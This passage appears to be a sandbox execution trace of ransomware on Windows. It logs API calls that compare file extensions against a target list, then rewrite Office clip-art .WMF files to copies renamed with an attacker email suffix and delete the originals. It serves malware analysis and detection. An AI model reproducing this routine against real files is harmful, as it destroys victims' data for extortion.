lpString2="P.WMF") returned -1 [0087.360] lstrlenW (lpString=".ppt") returned 4 [0087.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.360] lstrlenW (lpString=".zip") returned 4 [0087.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.360] lstrlenW (lpString=".rar") returned 4 [0087.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString=".bz2") returned 4 [0087.360] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString=".7z") returned 3 [0087.360] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.360] lstrlenW (lpString=".dbf") returned 4 [0087.360] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.360] lstrlenW (lpString=".1cd") returned 4 [0087.360] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.360] lstrlenW (lpString=".jpg") returned 4 [0087.360] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.360] lstrlenW (lpString=".doc") returned 4 [0087.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString=".docx") returned 5 [0087.360] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0087.360] lstrlenW (lpString=".pdf") returned 4 [0087.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.360] lstrlenW (lpString=".xls") returned 4 [0087.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.360] lstrlenW (lpString=".xlsx") returned 5 [0087.360] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0087.360] lstrlenW (lpString=".ppt") returned 4 [0087.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.361] lstrlenW (lpString=".zip") returned 4 [0087.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.361] lstrlenW (lpString=".rar") returned 4 [0087.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.361] lstrlenW (lpString=".bz2") returned 4 [0087.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.361] lstrlenW (lpString=".7z") returned 3 [0087.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.361] lstrlenW (lpString=".dbf") returned 4 [0087.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.361] lstrlenW (lpString=".1cd") returned 4 [0087.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0087.361] lstrlenW (lpString=".jpg") returned 4 [0087.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.361] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.361] lstrlenW (lpString="HH00057_.WMF") returned 12 [0087.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.361] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3764) returned 1 [0087.362] CloseHandle (hObject=0x2c4) returned 1 [0087.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220 [0087.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.365] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.365] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.365] GetLastError () returned 0x0 [0087.365] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xeb4, lpOverlapped=0x0) returned 1 [0087.367] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec0, lpOverlapped=0x0) returned 1 [0087.368] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.368] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.368] SetEndOfFile (hFile=0x344) returned 1 [0087.368] CloseHandle (hObject=0x344) returned 1 [0087.368] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.368] SetEndOfFile (hFile=0x2c4) returned 1 [0087.369] CloseHandle (hObject=0x2c4) returned 1 [0087.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 1 [0087.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.369] lstrlenW (lpString=".doc") returned 4 [0087.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.369] lstrlenW (lpString=".docx") returned 5 [0087.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.369] lstrlenW (lpString=".pdf") returned 4 [0087.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.369] lstrlenW (lpString=".xls") returned 4 [0087.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.369] lstrlenW (lpString=".xlsx") returned 5 [0087.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.370] lstrlenW (lpString=".ppt") returned 4 [0087.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.370] lstrlenW (lpString=".zip") returned 4 [0087.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.370] lstrlenW (lpString=".rar") returned 4 [0087.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString=".bz2") returned 4 [0087.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString=".7z") returned 3 [0087.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.370] lstrlenW (lpString=".dbf") returned 4 [0087.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.370] lstrlenW (lpString=".1cd") returned 4 [0087.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.370] lstrlenW (lpString=".jpg") returned 4 [0087.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.370] lstrlenW (lpString=".doc") returned 4 [0087.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString=".docx") returned 5 [0087.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.370] lstrlenW (lpString=".pdf") returned 4 [0087.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString=".xls") returned 4 [0087.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.370] lstrlenW (lpString=".xlsx") returned 5 [0087.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.370] lstrlenW (lpString=".ppt") returned 4 [0087.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.371] lstrlenW (lpString=".zip") returned 4 [0087.371] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.371] lstrlenW (lpString=".rar") returned 4 [0087.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.371] lstrlenW (lpString=".bz2") returned 4 [0087.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.371] lstrlenW (lpString=".7z") returned 3 [0087.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.371] lstrlenW (lpString=".dbf") returned 4 [0087.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.371] lstrlenW (lpString=".1cd") returned 4 [0087.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 68 [0087.371] lstrlenW (lpString=".jpg") returned 4 [0087.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.371] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.371] lstrlenW (lpString="HH00084_.WMF") returned 12 [0087.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.371] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=2472) returned 1 [0087.372] CloseHandle (hObject=0x2c4) returned 1 [0087.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 0x220 [0087.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.372] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.372] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.372] GetLastError () returned 0x0 [0087.372] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x9a8, lpOverlapped=0x0) returned 1 [0087.666] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0087.672] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.672] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.672] SetEndOfFile (hFile=0x344) returned 1 [0087.909] CloseHandle (hObject=0x344) returned 1 [0087.912] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.912] SetEndOfFile (hFile=0x2c4) returned 1 [0087.913] CloseHandle (hObject=0x2c4) returned 1 [0087.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf")) returned 1 [0087.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.943] lstrlenW (lpString=".doc") returned 4 [0087.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.943] lstrlenW (lpString=".docx") returned 5 [0087.943] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.943] lstrlenW (lpString=".pdf") returned 4 [0087.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.943] lstrlenW (lpString=".xls") returned 4 [0087.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.943] lstrlenW (lpString=".xlsx") returned 5 [0087.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.943] lstrlenW (lpString=".ppt") returned 4 [0087.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.943] lstrlenW (lpString=".zip") returned 4 [0087.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.943] lstrlenW (lpString=".rar") returned 4 [0087.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.943] lstrlenW (lpString=".bz2") returned 4 [0087.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.943] lstrlenW (lpString=".7z") returned 3 [0087.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.943] lstrlenW (lpString=".dbf") returned 4 [0087.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.943] lstrlenW (lpString=".1cd") returned 4 [0087.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.943] lstrlenW (lpString=".jpg") returned 4 [0087.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.944] lstrlenW (lpString=".doc") returned 4 [0087.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString=".docx") returned 5 [0087.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.944] lstrlenW (lpString=".pdf") returned 4 [0087.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString=".xls") returned 4 [0087.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.944] lstrlenW (lpString=".xlsx") returned 5 [0087.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.944] lstrlenW (lpString=".ppt") returned 4 [0087.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.944] lstrlenW (lpString=".zip") returned 4 [0087.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0087.944] lstrlenW (lpString=".rar") returned 4 [0087.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString=".bz2") returned 4 [0087.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString=".7z") returned 3 [0087.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0087.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.944] lstrlenW (lpString=".dbf") returned 4 [0087.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.944] lstrlenW (lpString=".1cd") returned 4 [0087.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0087.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF") returned 68 [0087.944] lstrlenW (lpString=".jpg") returned 4 [0087.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0087.945] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0087.945] lstrlenW (lpString="HH00524_.WMF") returned 12 [0087.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.945] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=14688) returned 1 [0087.945] CloseHandle (hObject=0x2c4) returned 1 [0087.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0087.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0087.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0087.945] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.945] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0087.946] GetLastError () returned 0x0 [0087.946] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x3960, lpOverlapped=0x0) returned 1 [0087.947] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x3970, lpOverlapped=0x0) returned 1 [0087.948] ReadFile (in: hFile=0x2c4, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.948] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.948] SetEndOfFile (hFile=0x344) returned 1 [0087.949] CloseHandle (hObject=0x344) returned 1 [0087.949] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.949] SetEndOfFile (hFile=0x2c4) returned 1 [0087.950] CloseHandle (hObject=0x2c4) returned 1 [0087.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0087.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0087.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.950] lstrlenW (lpString=".doc") returned 4 [0087.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0087.950] lstrlenW (lpString=".docx") returned 5 [0087.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0087.950] lstrlenW (lpString=".pdf") returned 4 [0087.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0087.950] lstrlenW (lpString=".xls") returned 4 [0087.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0087.950] lstrlenW (lpString=".xlsx") returned 5 [0087.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0087.950] lstrlenW (lpString=".ppt") returned 4 [0087.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0087.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0087.951] lstrlenW (lpString=".zip") returned 4 